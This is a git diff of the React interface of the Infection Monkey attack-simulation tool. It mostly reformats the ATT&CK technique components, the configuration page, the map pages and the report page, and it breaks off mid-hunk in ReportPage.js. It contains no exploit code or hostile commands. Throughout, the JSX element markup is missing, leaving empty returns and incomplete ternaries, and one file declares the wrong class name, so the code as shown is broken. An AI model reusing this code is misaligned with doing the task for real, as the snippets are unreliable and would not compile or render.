diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js
index da9682da3..475e79fed 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachine, ScanStatus } from "./Helpers"
+import {renderMachine, ScanStatus} from "./Helpers"
class T1110 extends React.Component {
@@ -13,15 +13,23 @@ class T1110 extends React.Component {
static getServiceColumns() {
return ([{
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
- style: { 'whiteSpace': 'unset' }, width: 160},
- {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100},
- {Header: 'Started', id: 'started', accessor: x => x.info.started, style: { 'whiteSpace': 'unset' }},
- {Header: 'Finished', id: 'finished', accessor: x => x.info.finished, style: { 'whiteSpace': 'unset' }},
- {Header: 'Attempts', id: 'attempts', accessor: x => x.attempt_cnt, style: { 'whiteSpace': 'unset' }, width: 160},
- {Header: 'Successful credentials', id: 'credentials', accessor: x => this.renderCreds(x.successful_creds), style: { 'whiteSpace': 'unset' }},
- ]
- }])};
+ {
+ Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
+ style: {'whiteSpace': 'unset'}, width: 160
+ },
+ {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: {'whiteSpace': 'unset'}, width: 100},
+ {Header: 'Started', id: 'started', accessor: x => x.info.started, style: {'whiteSpace': 'unset'}},
+ {Header: 'Finished', id: 'finished', accessor: x => x.info.finished, style: {'whiteSpace': 'unset'}},
+ {Header: 'Attempts', id: 'attempts', accessor: x => x.attempt_cnt, style: {'whiteSpace': 'unset'}, width: 160},
+ {
+ Header: 'Successful credentials',
+ id: 'credentials',
+ accessor: x => this.renderCreds(x.successful_creds),
+ style: {'whiteSpace': 'unset'}
+ },
+ ]
+ }])
+ };
static renderCreds(creds) {
return {creds.map(cred => {cred}
)}
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1129.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1129.js
index 64db13f81..cd19be877 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1129.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1129.js
@@ -16,10 +16,10 @@ class T1129 extends React.Component {
{this.props.data.dlls.length !== 0 ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js
index 641602dc5..2383a0bcc 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
+import {renderMachineFromSystemData, ScanStatus} from "./Helpers"
class T1145 extends React.Component {
@@ -10,11 +10,11 @@ class T1145 extends React.Component {
super(props);
}
- static renderSSHKeys(keys){
+ static renderSSHKeys(keys) {
let output = [];
- keys.forEach(function(keyInfo){
- output.push(
- SSH key pair used by {keyInfo['name']} user found in {keyInfo['home_dir']}
)
+ keys.forEach(function (keyInfo) {
+ output.push(
+ SSH key pair used by {keyInfo['name']} user found in {keyInfo['home_dir']}
)
});
return ({output}
);
}
@@ -22,16 +22,21 @@ class T1145 extends React.Component {
static getKeysInfoColumns() {
return ([{
columns: [
- {Header: 'Machine',
+ {
+ Header: 'Machine',
id: 'machine',
accessor: x => renderMachineFromSystemData(x.machine),
- style: { 'whiteSpace': 'unset' }},
- {Header: 'Keys found',
+ style: {'whiteSpace': 'unset'}
+ },
+ {
+ Header: 'Keys found',
id: 'keys',
accessor: x => T1145.renderSSHKeys(x.ssh_info),
- style: { 'whiteSpace': 'unset' }},
- ]
- }])};
+ style: {'whiteSpace': 'unset'}
+ },
+ ]
+ }])
+ };
render() {
return (
@@ -40,10 +45,10 @@ class T1145 extends React.Component {
{this.props.data.status === ScanStatus.USED ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js
index 31be117a9..acddac84a 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
+import {renderMachineFromSystemData, ScanStatus} from "./Helpers"
class T1188 extends React.Component {
@@ -14,20 +14,27 @@ class T1188 extends React.Component {
return ([{
Header: "Communications through multi-hop proxies",
columns: [
- {Header: 'From',
+ {
+ Header: 'From',
id: 'from',
accessor: x => renderMachineFromSystemData(x.from),
- style: { 'whiteSpace': 'unset' }},
- {Header: 'To',
+ style: {'whiteSpace': 'unset'}
+ },
+ {
+ Header: 'To',
id: 'to',
accessor: x => renderMachineFromSystemData(x.to),
- style: { 'whiteSpace': 'unset' }},
- {Header: 'Hops',
+ style: {'whiteSpace': 'unset'}
+ },
+ {
+ Header: 'Hops',
id: 'hops',
accessor: x => x.count,
- style: { 'whiteSpace': 'unset' }},
- ]
- }])};
+ style: {'whiteSpace': 'unset'}
+ },
+ ]
+ }])
+ };
render() {
return (
@@ -36,10 +43,10 @@ class T1188 extends React.Component {
{this.props.data.status === ScanStatus.USED ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js
index 8dc655aee..d82f51e3a 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js
@@ -1,37 +1,43 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachine } from "./Helpers"
+import {renderMachine} from "./Helpers"
class T1210 extends React.Component {
constructor(props) {
super(props);
- this.columns = [ {Header: 'Machine',
- id: 'machine', accessor: x => renderMachine(x),
- style: { 'whiteSpace': 'unset' },
- width: 200},
- {Header: 'Time',
- id: 'time', accessor: x => x.time,
- style: { 'whiteSpace': 'unset' },
- width: 170},
- {Header: 'Usage',
- id: 'usage', accessor: x => x.usage,
- style: { 'whiteSpace': 'unset' }}
- ]
+ this.columns = [{
+ Header: 'Machine',
+ id: 'machine', accessor: x => renderMachine(x),
+ style: {'whiteSpace': 'unset'},
+ width: 200
+ },
+ {
+ Header: 'Time',
+ id: 'time', accessor: x => x.time,
+ style: {'whiteSpace': 'unset'},
+ width: 170
+ },
+ {
+ Header: 'Usage',
+ id: 'usage', accessor: x => x.usage,
+ style: {'whiteSpace': 'unset'}
+ }
+ ]
}
- renderExploitedMachines(){
- if (this.props.data.bits_jobs.length === 0){
- return (
)
+ renderExploitedMachines() {
+ if (this.props.data.bits_jobs.length === 0) {
+ return (
)
} else {
return ( )
+ columns={this.columns}
+ data={this.props.data.bits_jobs}
+ showPagination={false}
+ defaultPageSize={this.props.data.bits_jobs.length}
+ />)
}
}
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js
index 9b6266efa..2a66d97bb 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachine } from "./Helpers"
+import {renderMachine} from "./Helpers"
class T1210 extends React.Component {
@@ -14,40 +14,52 @@ class T1210 extends React.Component {
return ([{
Header: "Found services",
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
- style: { 'whiteSpace': 'unset' }, width: 200},
- {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }},
- {Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }, width: 100},
- {Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }}
- ]
- }])}
+ {
+ Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
+ style: {'whiteSpace': 'unset'}, width: 200
+ },
+ {Header: 'Time', id: 'time', accessor: x => x.time, style: {'whiteSpace': 'unset'}},
+ {Header: 'Port', id: 'port', accessor: x => x.service.port, style: {'whiteSpace': 'unset'}, width: 100},
+ {Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: {'whiteSpace': 'unset'}}
+ ]
+ }])
+ }
static getExploitColumns() {
return ([{
Header: "Exploited services",
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
- style: { 'whiteSpace': 'unset' }, width: 200},
- {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }},
- {Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' },
- width: 170},
- {Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }}
- ]
- }])};
+ {
+ Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
+ style: {'whiteSpace': 'unset'}, width: 200
+ },
+ {Header: 'Time', id: 'time', accessor: x => x.time, style: {'whiteSpace': 'unset'}},
+ {
+ Header: 'Port/url', id: 'port', accessor: x => this.renderEndpoint(x.service), style: {'whiteSpace': 'unset'},
+ width: 170
+ },
+ {Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: {'whiteSpace': 'unset'}}
+ ]
+ }])
+ };
- static renderEndpoint(val){
+ static renderEndpoint(val) {
return (
{(val.vulnerable_urls.length !== 0 ? val.vulnerable_urls[0] : val.vulnerable_ports[0])}
)
};
- static formatScanned(data){
+ static formatScanned(data) {
let result = [];
- for(let service in data.machine.services){
- let scanned_service = {'machine': data.machine,
- 'time': data.time,
- 'service': {'port': [data.machine.services[service].port],
- 'display_name': data.machine.services[service].display_name}};
+ for (let service in data.machine.services) {
+ let scanned_service = {
+ 'machine': data.machine,
+ 'time': data.time,
+ 'service': {
+ 'port': [data.machine.services[service].port],
+ 'display_name': data.machine.services[service].display_name
+ }
+ };
result.push(scanned_service)
}
return result
@@ -58,10 +70,10 @@ class T1210 extends React.Component {
)
}
@@ -71,10 +83,10 @@ class T1210 extends React.Component {
)
}
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js
index 712512bcb..4162196a5 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachine, ScanStatus } from "./Helpers"
+import {renderMachine, ScanStatus} from "./Helpers"
class T1222 extends React.Component {
@@ -14,10 +14,11 @@ class T1222 extends React.Component {
return ([{
Header: "Permission modification commands",
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }},
- {Header: 'Command', id: 'command', accessor: x => x.command, style: { 'whiteSpace': 'unset' }},
- ]
- }])};
+ {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: {'whiteSpace': 'unset'}},
+ {Header: 'Command', id: 'command', accessor: x => x.command, style: {'whiteSpace': 'unset'}},
+ ]
+ }])
+ };
render() {
return (
@@ -26,10 +27,10 @@ class T1222 extends React.Component {
{this.props.data.status === ScanStatus.USED ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js
index e06043c20..06223bba1 100644
--- a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js
+++ b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js
@@ -84,14 +84,14 @@ class InfMapPreviewPaneComponent extends PreviewPaneComponent {
unescapeLog(st) {
return st.substr(1, st.length - 2) // remove quotation marks on beginning and end of string.
- .replace(/\\n/g, "\n")
- .replace(/\\r/g, "\r")
- .replace(/\\t/g, "\t")
- .replace(/\\b/g, "\b")
- .replace(/\\f/g, "\f")
- .replace(/\\"/g, '\"')
- .replace(/\\'/g, "\'")
- .replace(/\\&/g, "\&");
+ .replace(/\\n/g, "\n")
+ .replace(/\\r/g, "\r")
+ .replace(/\\t/g, "\t")
+ .replace(/\\b/g, "\b")
+ .replace(/\\f/g, "\f")
+ .replace(/\\"/g, '\"')
+ .replace(/\\'/g, "\'")
+ .replace(/\\&/g, "\&");
}
downloadLog(asset) {
diff --git a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js
index 327d77061..3ef3ab76d 100644
--- a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js
+++ b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js
@@ -92,14 +92,14 @@ class PreviewPaneComponent extends AuthComponent {
unescapeLog(st) {
return st.substr(1, st.length - 2) // remove quotation marks on beginning and end of string.
- .replace(/\\n/g, "\n")
- .replace(/\\r/g, "\r")
- .replace(/\\t/g, "\t")
- .replace(/\\b/g, "\b")
- .replace(/\\f/g, "\f")
- .replace(/\\"/g, '\"')
- .replace(/\\'/g, "\'")
- .replace(/\\&/g, "\&");
+ .replace(/\\n/g, "\n")
+ .replace(/\\r/g, "\r")
+ .replace(/\\t/g, "\t")
+ .replace(/\\b/g, "\b")
+ .replace(/\\f/g, "\f")
+ .replace(/\\"/g, '\"')
+ .replace(/\\'/g, "\'")
+ .replace(/\\&/g, "\&");
}
downloadLog(asset) {
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
index 43dac797c..9b9be2340 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
@@ -3,7 +3,7 @@ import Form from 'react-jsonschema-form';
import {Col, Modal, Nav, NavItem} from 'react-bootstrap';
import fileDownload from 'js-file-download';
import AuthComponent from '../AuthComponent';
-import { FilePond } from 'react-filepond';
+import {FilePond} from 'react-filepond';
import 'filepond/dist/filepond.min.css';
import MatrixComponent from "../attack/MatrixComponent";
@@ -37,7 +37,7 @@ class ConfigurePageComponent extends AuthComponent {
};
}
- getUiSchemas(){
+ getUiSchemas() {
return ({
basic: {"ui:order": ["general", "credentials"]},
basic_network: {},
@@ -94,8 +94,11 @@ class ConfigurePageComponent extends AuthComponent {
this.setInitialConfig(monkeyConfig.configuration);
this.setInitialAttackConfig(attackConfig.configuration);
for (let sectionKey of this.sectionsOrder) {
- if (sectionKey === 'attack') {sections.push({key:sectionKey, title: "ATT&CK"})}
- else {sections.push({key: sectionKey, title: monkeyConfig.schema.properties[sectionKey].title});}
+ if (sectionKey === 'attack') {
+ sections.push({key: sectionKey, title: "ATT&CK"})
+ } else {
+ sections.push({key: sectionKey, title: monkeyConfig.schema.properties[sectionKey].title});
+ }
}
this.setState({
schema: monkeyConfig.schema,
@@ -110,15 +113,15 @@ class ConfigurePageComponent extends AuthComponent {
updateConfig = () => {
this.authFetch(CONFIG_URL)
- .then(res => res.json())
- .then(data => {
- this.setInitialConfig(data.configuration);
- this.setState({configuration: data.configuration})
- })
+ .then(res => res.json())
+ .then(data => {
+ this.setInitialConfig(data.configuration);
+ this.setState({configuration: data.configuration})
+ })
};
onSubmit = () => {
- if (this.state.selectedSection === 'attack'){
+ if (this.state.selectedSection === 'attack') {
this.matrixSubmit()
} else {
this.configSubmit()
@@ -134,13 +137,14 @@ class ConfigurePageComponent extends AuthComponent {
body: JSON.stringify(this.state.attackConfig)
})
.then(res => {
- if (!res.ok)
- {
+ if (!res.ok) {
throw Error()
}
return res;
})
- .then(() => {this.setInitialAttackConfig(this.state.attackConfig);})
+ .then(() => {
+ this.setInitialAttackConfig(this.state.attackConfig);
+ })
.then(this.updateConfig())
.then(this.setState({lastAction: 'saved'}))
.catch(error => {
@@ -162,28 +166,28 @@ class ConfigurePageComponent extends AuthComponent {
this.setInitialConfig(res.configuration);
this.props.onStatusChange();
}).catch(error => {
- console.log('bad configuration');
- this.setState({lastAction: 'invalid_configuration'});
- });
+ console.log('bad configuration');
+ this.setState({lastAction: 'invalid_configuration'});
+ });
};
// Alters attack configuration when user toggles technique
- attackTechniqueChange = (technique, value, mapped=false) => {
+ attackTechniqueChange = (technique, value, mapped = false) => {
// Change value in attack configuration
// Go trough each column in matrix, searching for technique
Object.entries(this.state.attackConfig).forEach(techType => {
- if(techType[1].properties.hasOwnProperty(technique)){
+ if (techType[1].properties.hasOwnProperty(technique)) {
let tempMatrix = this.state.attackConfig;
tempMatrix[techType[0]].properties[technique].value = value;
this.setState({attackConfig: tempMatrix});
// Toggle all mapped techniques
- if (! mapped ){
+ if (!mapped) {
// Loop trough each column and each row
Object.entries(this.state.attackConfig).forEach(otherType => {
Object.entries(otherType[1].properties).forEach(otherTech => {
// If this technique depends on a technique that was changed
- if (otherTech[1].hasOwnProperty('depends_on') && otherTech[1]['depends_on'].includes(technique)){
+ if (otherTech[1].hasOwnProperty('depends_on') && otherTech[1]['depends_on'].includes(technique)) {
this.attackTechniqueChange(otherTech[0], value, true)
}
})
@@ -207,41 +211,47 @@ class ConfigurePageComponent extends AuthComponent {
};
renderAttackAlertModal = () => {
- return ( {this.setState({showAttackAlert: false})}}>
-
- Warning
-
- You have unsubmitted changes. Submit them before proceeding.
-
-
- {this.setState({showAttackAlert: false})}} >
- Cancel
-
-
-
- )
+ return ( {
+ this.setState({showAttackAlert: false})
+ }}>
+
+
+ Warning
+
+
+ You have unsubmitted changes. Submit them before proceeding.
+
+
+ {
+ this.setState({showAttackAlert: false})
+ }}>
+ Cancel
+
+
+
+ )
};
- userChangedConfig(){
- if(JSON.stringify(this.state.configuration) === JSON.stringify(this.initialConfig)){
- if(Object.keys(this.currentFormData).length === 0 ||
- JSON.stringify(this.initialConfig[this.currentSection]) === JSON.stringify(this.currentFormData)){
+ userChangedConfig() {
+ if (JSON.stringify(this.state.configuration) === JSON.stringify(this.initialConfig)) {
+ if (Object.keys(this.currentFormData).length === 0 ||
+ JSON.stringify(this.initialConfig[this.currentSection]) === JSON.stringify(this.currentFormData)) {
return false;
}
}
return true;
}
- userChangedMatrix(){
+ userChangedMatrix() {
return (JSON.stringify(this.state.attackConfig) !== JSON.stringify(this.initialAttackConfig))
}
setSelectedSection = (key) => {
if ((key === 'attack' && this.userChangedConfig()) ||
- (this.currentSection === 'attack' && this.userChangedMatrix())){
+ (this.currentSection === 'attack' && this.userChangedMatrix())) {
this.setState({showAttackAlert: true});
return;
}
@@ -270,9 +280,11 @@ class ConfigurePageComponent extends AuthComponent {
this.setInitialConfig(res.configuration);
this.props.onStatusChange();
});
- this.authFetch(ATTACK_URL,{ method: 'POST',
- headers: {'Content-Type': 'application/json'},
- body: JSON.stringify('reset_attack_matrix')})
+ this.authFetch(ATTACK_URL, {
+ method: 'POST',
+ headers: {'Content-Type': 'application/json'},
+ body: JSON.stringify('reset_attack_matrix')
+ })
.then(res => res.json())
.then(res => {
this.setState({attackConfig: res.configuration});
@@ -280,16 +292,18 @@ class ConfigurePageComponent extends AuthComponent {
})
};
- removePBAfiles(){
+ removePBAfiles() {
// We need to clean files from widget, local state and configuration (to sync with bac end)
- if (this.PBAwindowsPond !== null){
+ if (this.PBAwindowsPond !== null) {
this.PBAwindowsPond.removeFile();
}
- if (this.PBAlinuxPond !== null){
+ if (this.PBAlinuxPond !== null) {
this.PBAlinuxPond.removeFile();
}
- let request_options = {method: 'DELETE',
- headers: {'Content-Type': 'text/plain'}};
+ let request_options = {
+ method: 'DELETE',
+ headers: {'Content-Type': 'text/plain'}
+ };
this.authFetch('/api/fileUpload/PBAlinux', request_options);
this.authFetch('/api/fileUpload/PBAwindows', request_options);
this.setState({PBAlinuxFile: [], PBAwinFile: []});
@@ -300,9 +314,12 @@ class ConfigurePageComponent extends AuthComponent {
this.setState({
configuration: JSON.parse(event.target.result),
lastAction: 'import_success'
- }, () => {this.sendConfig(); this.setInitialConfig(JSON.parse(event.target.result))});
+ }, () => {
+ this.sendConfig();
+ this.setInitialConfig(JSON.parse(event.target.result))
+ });
this.currentFormData = {};
- } catch(SyntaxError) {
+ } catch (SyntaxError) {
this.setState({lastAction: 'import_failure'});
}
};
@@ -315,18 +332,17 @@ class ConfigurePageComponent extends AuthComponent {
sendConfig() {
return (
this.authFetch('/api/configuration/island',
- {
- method: 'POST',
- headers: {'Content-Type': 'application/json'},
- body: JSON.stringify(this.state.configuration)
- })
- .then(res => {
- if (!res.ok)
{
- throw Error()
- }
- return res;
- }).catch(error => {
+ method: 'POST',
+ headers: {'Content-Type': 'application/json'},
+ body: JSON.stringify(this.state.configuration)
+ })
+ .then(res => {
+ if (!res.ok) {
+ throw Error()
+ }
+ return res;
+ }).catch(error => {
console.log('bad configuration');
this.setState({lastAction: 'invalid_configuration'});
}));
@@ -355,12 +371,13 @@ class ConfigurePageComponent extends AuthComponent {
PBAwindows = () => {
return ( {
@@ -374,12 +391,13 @@ class ConfigurePageComponent extends AuthComponent {
PBAlinux = () => {
return ( {
@@ -391,23 +409,23 @@ class ConfigurePageComponent extends AuthComponent {
/>)
};
- getWinPBAfile(){
- if (this.state.PBAwinFile.length !== 0){
+ getWinPBAfile() {
+ if (this.state.PBAwinFile.length !== 0) {
return ConfigurePageComponent.getMockPBAfile(this.state.PBAwinFile[0])
- } else if (this.state.configuration.monkey.behaviour.PBA_windows_filename){
+ } else if (this.state.configuration.monkey.behaviour.PBA_windows_filename) {
return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_windows_filename)
}
}
- getLinuxPBAfile(){
- if (this.state.PBAlinuxFile.length !== 0){
+ getLinuxPBAfile() {
+ if (this.state.PBAlinuxFile.length !== 0) {
return ConfigurePageComponent.getMockPBAfile(this.state.PBAlinuxFile[0])
} else if (this.state.configuration.monkey.behaviour.PBA_linux_filename) {
return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_linux_filename)
}
}
- static getFullPBAfile(filename){
+ static getFullPBAfile(filename) {
return [{
source: filename,
options: {
@@ -416,7 +434,7 @@ class ConfigurePageComponent extends AuthComponent {
}];
}
- static getMockPBAfile(mockFile){
+ static getMockPBAfile(mockFile) {
let pbaFile = [{
source: mockFile.name,
options: {
@@ -437,39 +455,39 @@ class ConfigurePageComponent extends AuthComponent {
renderConfigContent = (displayedSchema) => {
return (
- {this.renderBasicNetworkWarning()}
-
-
)
+ {this.renderBasicNetworkWarning()}
+
+ )
};
renderRunningMonkeysWarning = () => {
return (
- { this.state.allMonkeysAreDead ?
- '' :
-
-
- Some monkeys are currently running. Note that changing the configuration will only apply to new
- infections.
-
- }
-
)
+ {this.state.allMonkeysAreDead ?
+ '' :
+
+
+ Some monkeys are currently running. Note that changing the configuration will only apply to new
+ infections.
+
+ }
+ )
};
renderBasicNetworkWarning = () => {
- if (this.state.selectedSection === 'basic_network'){
+ if (this.state.selectedSection === 'basic_network') {
return (
-
- The Monkey scans its subnet if "Local network scan" is ticked. Additionally the monkey scans machines
- according to its range class.
-
)
+
+ The Monkey scans its subnet if "Local network scan" is ticked. Additionally the monkey scans machines
+ according to its range class.
+ )
} else {
- return (
)
+ return (
)
}
};
@@ -477,8 +495,8 @@ class ConfigurePageComponent extends AuthComponent {
return (
- {this.state.sections.map(section => {section.title} )}
- )
+ {this.state.sections.map(section => {section.title} )}
+ )
};
render() {
@@ -488,9 +506,9 @@ class ConfigurePageComponent extends AuthComponent {
displayedSchema['definitions'] = this.state.schema['definitions'];
}
let content = '';
- if (this.state.selectedSection === 'attack' && Object.entries(this.state.attackConfig).length !== 0 ) {
+ if (this.state.selectedSection === 'attack' && Object.entries(this.state.attackConfig).length !== 0) {
content = this.renderMatrix()
- } else if(this.state.selectedSection !== 'attack') {
+ } else if (this.state.selectedSection !== 'attack') {
content = this.renderConfigContent(displayedSchema)
}
return (
@@ -498,8 +516,8 @@ class ConfigurePageComponent extends AuthComponent {
{this.renderAttackAlertModal()}
Monkey Configuration
{this.renderNav()}
- { this.renderRunningMonkeysWarning()}
- { content }
+ {this.renderRunningMonkeysWarning()}
+ {content}
Submit
@@ -513,37 +531,37 @@ class ConfigurePageComponent extends AuthComponent {
className="btn btn-info btn-lg" style={{margin: '5px'}}>
Import Config
-
+
Export config
- { this.state.lastAction === 'reset' ?
+ {this.state.lastAction === 'reset' ?
Configuration reset successfully.
: ''}
- { this.state.lastAction === 'saved' ?
+ {this.state.lastAction === 'saved' ?
Configuration saved successfully.
: ''}
- { this.state.lastAction === 'import_failure' ?
+ {this.state.lastAction === 'import_failure' ?
Failed importing configuration. Invalid config file.
: ''}
- { this.state.lastAction === 'invalid_configuration' ?
+ {this.state.lastAction === 'invalid_configuration' ?
An invalid configuration file was imported or submitted.
: ''}
- { this.state.lastAction === 'import_success' ?
+ {this.state.lastAction === 'import_success' ?
Configuration imported successfully.
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/LicensePage.js b/monkey/monkey_island/cc/ui/src/components/pages/LicensePage.js
index b7a2ec077..3abd1682c 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/LicensePage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/LicensePage.js
@@ -18,8 +18,8 @@ class LicensePageComponent extends React.Component {
License
- Copyright 2017 Guardicore Ltd.
-
+ Copyright 2017 Guardicore Ltd.
+
Licensed under GPLv3 .
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js
index 4d074c835..779a3c894 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js
@@ -52,7 +52,7 @@ class MapPageComponent extends AuthComponent {
};
updateTelemetryFromServer = () => {
- this.authFetch('/api/telemetry-feed?timestamp='+this.state.telemetryLastTimestamp)
+ this.authFetch('/api/telemetry-feed?timestamp=' + this.state.telemetryLastTimestamp)
.then(res => res.json())
.then(res => {
let newTelem = this.state.telemetry.concat(res['telemetries']);
@@ -71,8 +71,7 @@ class MapPageComponent extends AuthComponent {
this.authFetch('/api/netmap/node?id=' + event.nodes[0])
.then(res => res.json())
.then(res => this.setState({selected: res, selectedType: 'node'}));
- }
- else if (event.edges.length === 1) {
+ } else if (event.edges.length === 1) {
let displayedEdge = this.state.graph.edges.find(
function (edge) {
return edge['id'] === event.edges[0];
@@ -84,8 +83,7 @@ class MapPageComponent extends AuthComponent {
.then(res => res.json())
.then(res => this.setState({selected: res.edge, selectedType: 'edge'}));
}
- }
- else {
+ } else {
this.setState({selected: null, selectedType: null});
}
}
@@ -100,7 +98,9 @@ class MapPageComponent extends AuthComponent {
return (
this.setState({showKillDialog: false})}>
- Are you sure you want to kill all monkeys?
+
+ Are you sure you want to kill all monkeys?
+
This might take a few moments...
@@ -153,15 +153,15 @@ class MapPageComponent extends AuthComponent {
Legend:
- Exploit
+ Exploit
|
- Scan
+ Scan
|
- Tunnel
+ Tunnel
|
- Island Communication
+ Island Communication
- { this.renderTelemetryConsole() }
+ {this.renderTelemetryConsole()}
@@ -174,7 +174,8 @@ class MapPageComponent extends AuthComponent {
Monkey
Telemetry
-
this.setState({showKillDialog: true})} className="btn btn-danger pull-right" style={{'width': '48%'}}>
+ this.setState({showKillDialog: true})} className="btn btn-danger pull-right"
+ style={{'width': '48%'}}>
Kill All Monkeys
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js b/monkey/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js
index 20faafca7..66dc7e089 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js
@@ -29,15 +29,13 @@ class PassTheHashMapPageComponent extends AuthComponent {
return node['id'] === event.nodes[0];
});
this.setState({selected: displayedNode, selectedType: 'node'})
- }
- else if (event.edges.length === 1) {
+ } else if (event.edges.length === 1) {
let displayedEdge = this.state.graph.edges.find(
function (edge) {
return edge['id'] === event.edges[0];
});
- this.setState({selected: displayedEdge, selectedType: 'edge'});
- }
- else {
+ this.setState({selected: displayedEdge, selectedType: 'edge'});
+ } else {
this.setState({selected: null, selectedType: null});
}
}
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
index 68ba84aa6..c3b538c70 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
@@ -135,19 +135,21 @@ class ReportPageComponent extends AuthComponent {
} else {
content =
- {this.generateReportOverviewSection()}
- {this.generateReportFindingsSection()}
- {this.generateReportRecommendationsSection()}
- {this.generateReportGlanceSection()}
- {this.generateAttackSection()}
- {this.generateReportFooter()}
+ {this.generateReportOverviewSection()}
+ {this.generateReportFindingsSection()}
